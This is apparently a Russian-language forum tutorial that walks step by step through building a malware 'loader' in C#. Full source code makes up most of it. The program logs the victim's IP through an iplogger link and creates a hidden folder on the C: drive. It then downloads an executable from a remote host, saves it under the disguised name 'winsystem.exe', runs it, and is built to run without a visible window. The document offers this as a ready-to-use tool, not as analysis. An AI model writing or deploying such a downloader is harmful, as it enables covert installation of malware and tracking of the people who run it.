Нужно: Иметь прямые руки Visual Studio выше 2012 года Код Cоздадим новый консольный проект : Сразу же меняем юзинги: Спойлер using System; using System.Diagnostics; using System.IO; using System.Net; Теперь нам нужно создать метод который будет создавать скрытую папку на диске: Спойлер static void hidefolder() { string path = @"C:\\HiddenFolder"; if (!Directory.Exists(path)) { DirectoryInfo di = Directory.CreateDirectory(path); di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; } } Теперь добавим переход на iplogger(можно и без него): Спойлер static void logger() { Process.Start("ссылка на логер"); } Теперь добавим саму загрузку и открытие файла: Спойлер static void download() { WebClient webClient = new WebClient(); string link = "http://glhfggwp.zzz.com.ua/Download/Мануал.exe"; string downloadFileName = System.IO.Path.GetFileName("winsystem.exe"); webClient.DownloadFileAsync(new Uri(link), @"C:\\HiddenFolder\\" + downloadFileName); string path = (@"C:\\HiddenFolder\\" + downloadFileName); Process.Start(path); Console.ReadKey(); } Теперь запишем все наши методы в Main: Спойлер logger(); hidefolder(); download(); Теперь зайдём в свойства проекта и изменим тип выходных данных: В итоге у нас получилось вот что: Теперь скомпилим и у нас есть готовый лодырь ****: Весь код using System; using System.Diagnostics; using System.IO; using System.Net; namespace download { class Program { static void Main(string[] args) { logger(); hidefolder(); download(); } static void hidefolder() { string path = @"C:\\HiddenFolder"; if (!Directory.Exists(path)) { DirectoryInfo di = Directory.CreateDirectory(path); di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; } } static void logger() { Process.Start("ссылка на логер"); } static void download() { WebClient webClient = new WebClient(); string link = "Ссылка на загрузку файла"; string downloadFileName = System.IO.Path.GetFileName("winsystem.exe"); webClient.DownloadFileAsync(new Uri(link), @"C:\\HiddenFolder\\" + downloadFileName); string path = (@"C:\\HiddenFolder\\" + downloadFileName); Process.Start(path); Console.ReadKey(); } } }